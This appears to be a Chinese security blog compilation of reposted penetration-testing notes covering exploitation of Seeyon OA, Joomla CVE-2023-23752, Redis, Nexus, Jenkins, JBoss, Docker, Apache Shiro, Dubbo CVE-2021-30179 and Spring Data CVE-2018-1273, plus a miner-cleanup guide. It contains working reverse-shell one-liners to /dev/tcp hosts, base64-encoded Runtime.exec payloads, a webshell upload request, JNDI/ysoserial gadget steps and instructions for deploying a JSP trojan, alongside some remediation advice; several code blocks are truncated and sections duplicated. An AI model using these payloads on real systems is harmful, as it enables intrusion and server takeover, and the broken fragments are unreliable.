urllib库进行网络请求后返回的HTTPResponse对象的用法总结
urllib库进行网络请求后返回的HTTPResponse对象的用法总结
本文转自「已注销」 并作补充
不管是使用urllib.request.urlopen()方法,还是使用opener.open()方法,都返回同样类型的HTTPResponse对象,用法总结如下:
1 | # !/usr/bin/env python |
本文转自「已注销」 并作补充
不管是使用urllib.request.urlopen()方法,还是使用opener.open()方法,都返回同样类型的HTTPResponse对象,用法总结如下:
1 | # !/usr/bin/env python |
本文转自風月长情 并作补充
客户端渗透测试前期信息收集过程中可以在APK中检索开发过程中没有删掉的URL地址,在这些地址中可能会发现后台、搜索引擎、子域名查找不到的一些资源。
反编译APK文件
apktool d <xxx.apk>
将反编译的文件zip打包发送到linux系统中
使用grep命令进行URL正则匹配
通过grep正则匹配包下边所有文件的uri地址,然后排序,删除重复行,最后重定向到文件中grep -ohr -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" /Kevin/com.sogou.map.android.maps/ |sort|uniq >> test.txt
然后在搜索出来的地址中查看是否有敏感地址:
比如这个地址就不在我搜索的上千个子域中:
随便一试直接进入后台,到此文件上传拿shell一个高危漏洞又到手了,香吧~
本文转自Vista、 并作补充
致远OA是一套办公协同管理软件。致远OA wpsAssistServlet接口存在任意文件上传漏洞,攻击者通过漏洞可以发送特定的请求包上传恶意文件,获取服务器权限。
致远OA A6、A8、A8N (V8.0SP2,V8.1,V8.1SP1)
致远OA G6、G6N (V8.1、V8.1SP1)
1、调用文件上传接口上传测试文件,请求包如下:
1 | POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/test.jsp&fileId=2 |
2、文件上传成功时,响应情况如下图所示:
![]()
1、对路径 /seeyon/htmlofficeservlet 进行限制访问。
2、致远官方已发布补丁,请联系官方安装相应补丁。
本文转自雨苁 并作补充
在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,可以对 web 服务端点进行未经授权访问。
项目: Joomla!
子项目: CMS
影响:严重
严重性: 高
概率:高
版本: 4.0.0-4.2.7
利用类型:不正确的访问控制
报告日期: 2023-02-13
修复日期: 2023-02-16
CVE 编号: CVE-2023-23752
不正确的访问检查允许对 web 服务端点进行未经授权的访问。
Joomla! CMS 版本 4.0.0-4.2.7
升级到版本 4.2.8
/api/index.php/v1/config/application?public=true
httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'
https://xz.aliyun.com/t/12175
Joomla(CVE-2023-23752)——一个请求参数 打穿Rest API
由于公司对漏洞的要求比较高,代码审计很快集中到了请求路由的代码块。不管是Wordpress/RounderCube还是PhpMyAdmin以及一些知名度比较高的php应用(一个Java安全研究员感到头皮发麻),我的重点对象变成了请求路由的代码追踪,一旦分析经过路由选择之后,剩下的业务代码我是完全不看了。虽然有点不专业,但是这是挖掘未授权漏洞最好的道路,最终终于找到了一个不错的高危漏洞——Joomla未授权访问Rest API。
Joomla大致有三个路由入口,分别是:
根目录的index.php(用户访问文章)
根目录的administrator/index.php(管理员管理)
根目录的api/index.php(开发者爱好的Rest API)
未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)
这里仅重点分析api/index.php这个路由的问题(index.php和administrator/index.php找不到漏洞)。
网站输入/api/index.php开启debug模式
index.php会来到app.php。其中$app主要的input成员存放所有的HTTP请求参数
在execute()函数中,会经过sanityCheckSystemVariables函数,此函数用来过滤渲染模板的参数,主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。
doExecute中最重要的就是route和dispatch函数。
整个route函数分为两部分,路由选择和身份校验。
逻辑十分清晰,主要是直接通过parseApiRoute函数从请求的方法和url到$routers中找到对应的路由信息
身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false,不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute时会有新的发现
这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜
此时route.var中的变量会被请求的变量覆盖。由于public=true,所以接口不需要身份验证,直接到达路由分发,也就是业务逻辑。
由于能够直接访问API了,从中找到最终的信息即可。
/api/index.php/v1/config/application?public=true
此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码。
其他受损API如下
1 | v1/banners |
http://127.0.0.1/api/index.php/v1/config/application?public=true
本文转自SAUCERMAN 并作补充
总结一些主机端口,web服务上的未授权弱口令漏洞,长期更新~
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis因配置不当可以未授权访问。低版本的Redis,默认监听在0.0.0.0,且未开启访问认证,4.x版本开始默认监听在127.0.0.1,但仍未开启访问认证。可导致敏感信息泄露,也可以利用redis的备份功能来进行写文件的操作,从而可以写webshell,ssh密钥或者计划任务来getshell,在redis4.0+版本中,还可以利用主从复制来加载恶意so文件实现任意命令执行。
具体的利用方式介绍以前写过–>传送门
如果对外开放的MongoDB服务,未配置访问认证授权,则无需认证连接数据库后对数据库进行任意操作(增、删、改、查高危动作),存在严重的数据泄露风险。
3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用–auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用–auth参数启动后,无账号则本地和远程均无任何数据库访问权限。
1 | 漏洞检测脚本: |
refer: https://www.cnblogs.com/cwkiller/p/12483223.html
这里说的druid和apache druid没有关系,是阿里巴巴开源的数据库连接池,能够提供强大的监控和扩展功能,当开发者配置不当时就可能造成未授权访问。其web页面包含着当前系统存在的session信息,sql交互信息还有系统的url接口等信息,未授权访问会泄露系统敏感信息,利用泄露的session和url接口还可以进入后台、查看到未授权接口。
1 | 常见Druid访问路径如下: |
1.我们可以通过泄露的Session登录后台。
1 | 通过以下脚本在/druid/websession.html页面提取出cookie: |
2.有的Druid可能Session监控处没有东西,可以通过URI监控测试未授权和越权。
比如页面泄露了系统的url接口:/backstage/api/send_mobile_mess/18681772721/1
经过测试该接口为未授权的短信验证码发送接口,且发送频率无限制,短信轰炸漏洞一枚~
Sonatype Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。
在3.17.0之前版本中存在安全漏洞,该漏洞源于默认的管理员账户密码被设置成admin/admin123。攻击者可利用该漏洞获取管理器的管理员权限实现接管。
利用姿势:refer:https://www.jianshu.com/p/1328a3e0689c
当登录后台后,我们可以
访问http://ip:port/#admin/system/tasks
选择Admin - Execute script
在Source处填写[‘/bin/bash’,’-c’,’/bin/bash -i >& /dev/tcp/IP/PORT 0>&1’].execute(),Task frequency选择manual。其他随意。
点击创建任务并手动启动
反弹shell成功
其3.14.0及之前版本中,存在一处基于OrientDB自定义函数的任意JEXL表达式执行功能,而这处功能存在未授权访问漏洞,将可以导致任意命令执行漏洞。漏洞编号为CVE-2019-7238。
漏洞分析文章:
https://xz.aliyun.com/t/4136
https://www.anquanke.com/post/id/171116
docker漏洞复现:https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238
漏洞的exp: https://github.com/mpgn/CVE-2019-7238
Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
1 | 点击"脚本命令执行", 执行系统命令: |
Memcached 是一套常用的 key-value 分布式高速缓存系统,默认的 11211 端口不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
1 | 漏洞环境搭建: |
修复方案
设置Memchached只允许本地访问。
禁止外网访问Memcached 11211端口。
配置访问控制策略。
JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
1 | 环境搭建: |
漏洞利用
直接访问http://10.40.59.29:8080/jmx-console/无需认证进入控制页面,点击jboss.deployment进入应用部署页面![]()
本地将jsp木马打包成war:
jar cvf mmm.war xxx.jsp
然后放在公网服务器上,能够让jboss受害者访问,这里我的木马地址为:http://10.10.25.83:8000/mmm.war。
在jboss应用部署界面找到void addURL(),输入木马地址,点击Invoke:
zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。
1 | 漏洞环境搭建 |
防御手段
添加访问控制,配置服务来源地址限制策略。
增加 ZooKeeper 的认证配置。
ElasticSearch是一个分布式的搜索引擎,Elasticsearch的增删改查操作全部由http接口完成。默认情况下Elasticsearch的http端口存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
1 | 漏洞复现 |
防御手段
1.增加访问控制策略
2.在config/elasticsearch.yml中为9200端口设置认证等。
Samba是一套实现SMB(Server Messages Block)协议、跨平台进行文件共享和打印共享服务的程序。如果配置不当,导致guest也可以访问。
1 | from smb.SMBConnection import SMBConnection |
Docker是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。
Docker Remote API未授权
Docker的Remote API因配置不当可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可访问到Docker数据,可能导致敏感信息泄露,黑客也可以恶意删除Docker上的数据;攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。refer: https://help.aliyun.com/knowledge_detail/37517.html
1 | # 1. 漏洞搭建 |
Docker Registry api 未授权
Docker Registry是一个无状态,高度可扩展的服务器端应用程序,可存储并允许用户使用HTTP API分发Docker映像。默认情况下Docker Registry未启用身份验证。
我们可以通过Docker Registry拉出任何容器映像并读取所有者进行的任何更改。还可以上传blob并对docker image进行更改。放置后门等。
refer:https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/
docker register api分为v1和v2版本。
1 | exp: |
refer: https://github.com/vulhub/vulhub/tree/master/rsync/common
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
1 | 漏洞复现 |
refer: https://xz.aliyun.com/t/2233
Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。
1 | 路径 描述 |
修复建议:
实际上Spring Boot也提供了安全限制功能。比如要禁用/env接口,则可设置如下:endpoints.env.enabled= false
如果只想打开一两个接口,那就先禁用全部接口,然后启用需要的接口:endpoints.enabled = false
endpoints.metrics.enabled = true
本文转自xixiyuguang 并作补充
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。
在配置了默认密钥的情况下,攻击者可以通过精心构造的 Payload 实现远程命令执行,从而进一步获取服务器权限。
升级shiro至最新版本1.7.0并生成新的密钥替换,注意妥善保管密钥,防止泄漏。利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
1 | 2020-10-16: |
java -jar shiro_tool.jar https://xx.xx.xx.xx/
![]()
查看源码,源码中org.apache.shiro.mgt.AbstractRememberMeManager :其默认的秘钥为kPH+bIxk5D2deZiIxcaaaA==,这相当于shiro中如果没有配置秘钥,就会用这个,而这个秘钥又是众所周知的,所以系统很容易被绕过登录,直接进入后台
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
1 |
|
动态生成秘钥,注意这块代码
1 | AesCipherService cipherService = new AesCipherService(); |
1 |
|
升级shiro版本1.7.0
1 | <!-- 升级shiro到1.2.5及以上 --> |
参考官方的:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
1 |
|
1 | <!-- 定义Shiro安全管理配置 --> |
本文转自Timeline Sec 并作补充
Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。
Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象,反序列化的方式有以下选择:
true
raw.return
nativejava
bean
protobuf-json
我们可以通过控制反序列化的方式为raw.return/true、nativejava、bean来反序列化我们的参数从而实现反序列化,进而触发特定Gadget的,最终导致了远程命令执行漏洞
Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)
以Apache Dubbo 2.7.9为测试环境
1、下载zookeeperhttps://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir![]()
2、双击bin目录下的zkServer.cmd,启动zookeeper,默认监听2181端口
![]()
3、下载测试Demo及POC:
https://github.com/lz2y/DubboPOC
该测试Demo是我在基础的Dubbo测试项目上添加了需要使用的Gadget所需的依赖(该CVE使用的为org.apache.xbean以及CC4)
师傅们也可以参考https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw安装官方提供的项目进行测试
(项目里的POC是我在参考链接的基础上修改后的结果,后续会更新Dubbo的其他CVE、GHSL的POC)
4、启动Provider
1、下载marshalsec并编译得到jar包
1 | git clone https://github.com/mbechler/marshalsec |
2、创建Exploit.java文件,通过javac得到Exploit.class文件
1 | public class Exploit { |
3、在Exploit.class目录下开启http服务
python -m http.server 8000
4、使用marshalsec开启JNDI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087
5、查看暴露的接口及其方法
1 | telnet Dubbo服务ip Dubbo服务端口 |
打开src\main\java\top\lz2y\vul\CVE202130179.java修改上一步得到的接口名及其方法
6、替换CVE-2021-30179.java中的POC1的ldap uri
填写Dubbo服务的ip以及端口号
7、运行即可发起JNDI注入执行打开计算器
POC2同POC1,只需修改LDAP服务地址即可使用
POC3为通过nativejava选项反序列化触发sink点,这里以CC4为例,利用yso生成CC4的序列化文件java -jar ysoserial.jar CommonsCollections4 "calc" > 1.ser
修改POC中反序列化文件的路径运行即执行calc弹出计算器
升级 Apache Dubbo 至最新版本;
设置 Apache Dubbo 相关端口仅对可信地址开放。
https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw
https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/
本文转自Str3am 并作补充
SOME(Same Origin Method Execution),同源方式执行,不同于 XSS 盗取用户 cookie 为目的,直接劫持 cookie 经行操作,和 CSRF 攻击很类似,不同的是 CSRF 是构造一个请求,而 SOME 则希望脚本代码被执行。 非常感谢兔子师傅@Homaebic在分享会上的分享,才有了这篇文章。
想要理解SOME攻击,必须先对同源策略和JSONP技术有所了解,JSONP我理解为一种用户可控制js执行函数的跨域数据访问技术,详细可以参见这篇文章或者百度。
SOME攻击
正是由于JSONP可以控制执行函数的特性,产生了SOME攻击,主要危害比如点击链接后自动关注微博,自动点赞,自动授权等。
存在用户可控函数点,读取用户输入执行对应javascript代码(即寻找JSONP点,通常以get方法callback名传入)
可控点可以输入”.”,点号(因为SOME攻击主要还是操作网页DOM)
这里通过一个大佬写的SOME靶场来练习复现,除了靶场,还有查找dom工具,exp生成,SOME原理介绍,很不错的一个学习网站。
![]()
Same Origin Method Execution
点击第一个 Vulnerable Example 项目,并打开一个子网页,在颜色轮盘上选择任意颜色,发现父网页标签背景会根据选择改变。![]()
子网页其实就是一个JSONP可控点,当我们点击轮盘中的任意颜色后它的连接如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=changeColor
现在我们想要做的就是控制callback参数,访问之后自动点击父页面的红色按钮。
利用第二个 Reference Generator 项目介绍的谷歌插件,这是一个可以自动获取元素DOM位置的插件。右键即可获取,可在控制台中用click事件测试是否获取正确。
修改子页面参数如下:
https://www.someattack.com/Playground/ColorPicker.php?callback=box.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click
访问之后弹窗,按钮被点击,SOME攻击实现。
兔子师傅演示的时候打开了两个网页some1和some2,打开some1后,用windiow。open方式打开some2页面,等some1页面加载完之后,some2地址location.replace到payload实现攻击。
我在实际测试的时候发现,当我打开第一个页面,然后直接开启一个新的页面访问payload,第一个页面是不会弹窗的,但是两个页面都是满足同源策略的,按理说执行脚本代码是没问题的,参阅文章后发现,要实现DOM操作,两个界面还必须满足父窗口和子窗口关系,这样子窗口才能够操作到父窗口的DOM,否则执行操作的时候会提示元素找不到的错误。兔子师傅这里是在some1下用window.open打开的some2界面,两个窗口父子关系是满足的。
同时,还需要注意一点的是,因为很多浏览器禁止window.open的原因(谷歌和火狐会禁止),兔子师傅的方法局限性很大,柠檬师傅采用了两个iframe的办法,避免了拦截,也很好的保证了同源性。附上柠檬师傅的代码
1 | <iframe src="https://www.someattack.com/Playground/" name=b></iframe> |
回调函数使用静态函数命名,限制该函数的调用范围。
谷歌的解决方法是,把回调函数加入服务器端的白名单。
Hayak建议,注册回调函数。
https://www.someattack.com/Playground/
http://blog.safedog.cn/?p=13
http://www.aqniu.com/hack-geek/5075.html
本文转自樱浅沐冰 并作补充
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
vulhub
详细过程请看Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
这里使用dnslog来验证。
先获取一个dns地址
t15gcx.dnslog.cn![]()
拼接命令
curl
whoami.t15gcx.dnslog.cn
base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)![]()
bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}
替换对应的payload,重新发送数据包
成功反弹回显到dnslog上username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=
![]()
反弹shell
bash -i >& /dev/tcp/192.168.100.23/9090 0>&1
base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
监听9090端口![]()
替换掉curlwhoami.t15gcx.dnslog.cn对应的payload,重新发送数据包
成功反弹shell![]()
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Vulhub CVE-2018-1273
本文转自飞川撸码 并作补充
由于本人的阿里云服务器遭受攻击,被挖矿,导致CPU爆满,同时受到阿里云官方的邮箱、短信以及电话通知(监管部门是不允许服务器被直接或者间接挖矿)
首先是CPU爆满,远程登录不了,通过将服务器重启以后可以远程登录了。以kswapd0进程为例,其他进程类似,下面就是具体步骤了。
可参考阿里云的:挖矿程序处理最佳实践
注:如果你的服务器购买了付费版云安全中心,在云安全中心插件正常的前提下,可以利用付费版的主动防御及安全告警处理的功能来手动扫描下,对于检测到的威胁,你可以在安全告警处理页面进一步核实处理。应该可以直接处理掉。(如果没有,看下面的处理)![]()
![]()
![]()
看到这些进程一直在变化,但是,主要是由于kswapd0进程在作怪,占据了99%以上的CUP,查找资料后,发现它就是挖矿进程。
netstat -antlp | grep kswapd0
![]()
发现一个与本机端口通信的是一个荷兰的ip
![]()
netstat -antlp | grep 194.36.190.30
![]()
发现只有这一个进程(当然,很有可能花卉有其他进程)
我们来到/proc/目录下查找对应的pid号,即/proc/497。可以在这目录下找到kswapd0进程的详细信息。
ll /proc/497
![]()
ps -ef | grep kswapd0
![]()
执行完后可以看到进程的pid以及进程相关文件的位置
![]()
rm -rf /var/tmp/.copydie
很多病毒都是有会在定时任务里面,以至于很难清理清楚。(由于我的服务器买油开启定时任务服务,所以里面没有任务)
1 | 查看定时任务: |
清除后将定时任务里的相关文件都清理干净,若有其他用户,将其他用户的定时任务也清理。
最好把木马程序和定时任务都清理完了再杀掉,要不然还会自动重启
kill -9 497
#kill -9 kswapd0进程的PID
就是跟着进程找找目录,然后杀进程,清目录
清定时任务
服务器的ftp端口最好别用22,密码尽量设置复杂点
尽量用密钥连接服务器,最好别用账号密码连接
封闭不使用的端口,做到用一个开一个(通过防火墙和安全组策略)
密码增强复杂性
及时修补系统和软件漏洞